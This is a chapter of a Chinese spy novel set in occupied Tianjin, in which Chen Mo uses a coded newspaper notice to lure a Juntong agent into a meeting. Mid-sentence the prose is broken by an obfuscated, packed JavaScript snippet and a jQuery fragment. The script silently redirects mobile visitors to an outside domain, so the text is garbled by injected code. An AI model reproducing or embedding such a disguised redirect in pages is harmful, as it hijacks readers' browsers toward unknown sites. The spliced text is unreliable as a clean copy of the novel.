从燕春楼出来的时候,天已经擦黑了。
路灯一盏一盏地亮了起来,昏黄的光透过蒙蒙的暮色,把地上的青石板照得跟抹了一层油似的。
风是小了点,但还是冷。
陈墨裹紧了驼色的大衣,没叫黄包车,就那么不紧不慢地,顺着估衣街往法租界的方向溜达。
街边的小铺子大多还开着门。
卖切糕的,卖糖人的,还有那刚出炉的烤白薯,冒着热气散发着一股子焦甜的香味儿。
这光景看着倒还真有那么点太平盛世的意思。
可谁又知道就在这层太平的表皮底下,藏着多少的烂疮和脓水。
陈墨的心情不算好,也不算坏。
金爷那条老狗不出他所料咬钩了。
家仇,有时候,比国恨,管用得多。
尤其是对这种在江湖里滚了一辈子,早就把“国家”、“民族”这些大词儿,当成屁话的老油条来说。
他们不关心谁当皇帝,只关心谁动了他家的祖坟和他孙子的骨头。
陈墨给他指了条道,一条能让他用他自己的方式,去报仇的道。
金爷自然也就投桃报李。
那条能神不知鬼不觉地,把几吨“破铜烂铁”,运出塘沽口漕帮的秘密水道,算是,到手了。
棋盘上最关键的一步棋活了。
但陈墨却没有丝毫的轻松,他知道这盘棋到现在,才算刚刚开始。
光有漕帮这群只能在水底下摸鱼的泥鳅,还不够。
他还需要几条能在大街上,真刀**跟日本人干仗的疯狗。
几条能把这天津卫的水彻底搅浑,把所有人的目光都吸引过去的疯狗。
而整个天津卫最疯也最饿的狗。
除了重庆方面军统的那帮子“蓝衣社”,陈墨想不出第二个选项。
但怎么跟军统,搭上线?
这是个技术活,也是个玩火的活。
玩不好没等烧着别人就先把自己,给燎了。
陈墨不能用真实的身份去。
那等于是直接把自己,送到戴笠的解剖台上,找死!
他需要第三个身份。
一个来历不明,但却又能让军统那帮,眼高于顶的特务们产生兴趣的身份。
想着,陈墨溜达到劝业场附近。
那里是天津卫最时髦、也最洋气的地方。
舞厅、咖啡馆、洋行,扎堆儿开。
出入的都是些,穿着西装旗袍说着鸟语的有钱人。
陈墨没有进去,在劝业场对面,一个挂着“德”字招牌的不起眼的杂货铺门口,停了下来。
铺子卖的都是些德国货。
老板是个一口“德式中文”的犹太老头。
据说是从纳粹的集中营里,侥幸逃出来的。
陈墨走进去,没有买东西,直接将一张写满了德文的纸条和一根分量十足的“小黄鱼”,放在了柜台上。
“老板……”他用流利的德语说道,“我想在您这里的报纸上,登一则小小的寻物启事。”
犹太老头浑浊的眼睛,在大圆眼镜后面,闪了一下,看了一眼那根金条,又看了一眼眼前这个气质不凡的年轻人,脸上露出了,一个生意人特有的会心的笑容。
“当然……先生。为您效劳。”
第二天。
在天津那几份专门给洋人看的德文和英文报纸的,最不起眼的中缝广告里。
多了一则极其普通的寻物启事。
“本人遗失德国莱卡相机一台,于塘沽码头。型号特殊内存珍贵风景照。”
“愿出重金赎回或与拥有同款相机之同好,交流摄影心得。”
“联系地址:起士林西餐厅,三楼,卡座。”
这则看似普通的广告,在普通人眼里什么也不是。
但在真正的行家眼里。
那每一个字都像,一个闪着金光的巨大鱼钩。
莱卡相机是德国货,代表着情报的来源和德系的背景。
塘沽码头点明了情报的核心区域。
而珍贵的风景照,则是赤裸裸的暗示——我手里有猛料。
那句“与拥有同款相机之同好,交流心得”。
更是一句充满了挑衅意味的黑话,意思就是——
我知道你们也在查这件事,知道你们一筹莫展,而我,有你们,没有的东西。
想不想要?
想要就带上你们的诚意来跟我谈。
这已经不是在钓鱼了,简直就是在用一根金条当鱼饵,直接往那群早已饿红了眼的鲨鱼的嘴里硬塞。
陈墨不信军统那帮,为了“功劳”什么都敢干的疯子,能忍得住不上钩。
……
另一边沈清芷,确实,快疯了。
秋风计划,这条她们小组进入天津之后,接到的第一个也是最重要的一个,大任务。
在她亲手导演了那场,惊天动地的“码头大**”之后。
就彻底地成了一笔烂账。
东西是毁了,没错。
从结果上看她的任务,算是完成了。
但过程却是一塌糊涂。
她不仅折损了近一半的精锐队员。
还因为那场由另一个神秘的友军,所引发的长门丸号大**。
而彻底地失去了所有的线索。
她不知道那个在码头搅风搅雨的“友军”,到底是谁。
她更
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16549196|183140||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不知道那艘长门丸号上,到底装了些什么其他见不得光的鬼东西。
只知道自己现在就像一个捅了马蜂窝,却不知道蜂王在哪里的笨蛋。
被整个天津的日本人,追得像条狗一样,上天无路,入地无门。
连安全屋都换了三个。
而重庆那边戴老板的电报,却像催命符一样,一封,接一封地,发过来。
电报的内容只有一个。
“查!”
“不惜一切代价,给我查清楚!秋风计划的真相!和那个在搅局友军的**!”
她感觉自己快要被逼疯了。
就在这时。
那则刊登在德文报纸上的,小小的寻物启事被送到了她的面前。
她只看了一眼。
那双布满血丝的美丽的眼睛里。
瞬间就爆发出精光!
“是他!”
她几乎是下意识地,就肯定了对方的身份!
那个在塘沽码头的黑夜里,与她电光火石般,交手一招神秘的高手!
那个身手狠辣心思缜密,让她都感到一丝忌惮的同行!
他竟然也没死!
而且还用这样一种嚣张的近乎于挑衅的方式,主动向她发出了邀请!
“组长……”
身边的副手脸上,露出了凝重的表情。
“这会不会是个陷阱?”
“是日本人或者**党那边给我们下的套?”
“陷阱?”
沈清芷笑了,那笑容里带着病态的兴奋。
“就算是陷阱我也得去闯一闯。”
她将那张报纸点燃,扔进了烟灰缸里,
看着它化为一撮黑色的灰烬。
“我倒要看看。”
“这个敢在老虎嘴里拔牙的神秘同行。”
“到底是何方神圣。”
……
三天后。
起士林西餐厅,三楼。
陈墨依旧是那身笔挺的西装,面前摆着一杯不加糖的黑咖啡。
他没有喝,只是静静地看着窗外,看着窗外那灰蒙蒙充满了未知和危险的城市。
他的对面空无一人。
但陈墨知道对方一定会来。
因为他们是一样的人,是那种明知山有虎偏向虎山行的疯子,也是那种为了达到目的,可以不惜一切代价的赌徒。
终于。
一阵极其轻微的高跟鞋,踩在木地板上的“哒哒”声,从楼梯口传来。
一个穿着一身黑色风衣的窈窕身影,出现在了他的面前。
她摘下了脸上的墨镜。
露出了那张美得令人窒息俏脸。
四目相对。
两人都愣住了。
“是你?”